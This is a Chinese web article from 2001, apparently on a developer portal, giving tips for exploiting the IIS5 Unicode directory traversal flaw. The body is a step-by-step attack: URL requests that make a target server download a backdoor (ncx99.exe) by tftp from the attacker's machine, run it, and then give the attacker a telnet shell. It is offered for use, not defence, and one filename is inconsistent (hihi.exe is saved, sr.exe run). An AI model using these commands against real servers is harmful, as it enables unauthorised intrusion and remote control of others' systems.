动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   Asp → 阅读文章

 IIS5 UNICODE 编码漏洞的利用心得补充

作者:零点 来源:http://www.net7b.com 
阅读 6319 人次 , 2001-5-6 

看了你的文章【unicode】写的很好,
我来说说用tftp怎么搞:
下载http://www.cners.com/tools/unicode.zip(下载快着呢)
解压:
tftpd32.exe
ncx99.exe

本机运行tftpd32.exe
再(接着你的来):

http://192.168.8.48/scripts/ccc.exe?/c+tftp -i 本地ip GET ncx99.exe c:\\inetpub\\scripts\\hihi.exe

注意了:这是将你本机的ncx99.exe 上传到对方的 scripts下!
下面执行它:
http://192.168.8.48/scripts/ccc.exe?/c+c:\inetpub\scripts\sr.exe

这时在你的tftp上就能看到对方ip的信息了!

下面可以干的就不用说了!

用telnet 或SecureCRT.EXE软件登陆192.168.8.48就可以了!(推荐用SecureCrt)

{
零点
http://www.net7b.com{我的站点}
http://www.net7b.com/net7b_heike(网络奇兵网络安全中心)
  

 本文Tags病毒  iis  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:利用JS在页面上动态生成直线
· 下一篇:IIS5 UNICODE 编码漏洞的利用心得
· ASP程序密码验证问题 (MS,缺陷)
· 加密處理使密碼更安全[CFS編碼加密]
· rs.open sql,conn,1,1是仅向前的游标吗?错
· ASP 中 DateDiff 函数详解
· 二十八条改善 ASP 性能和外观的技巧(22-28)


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077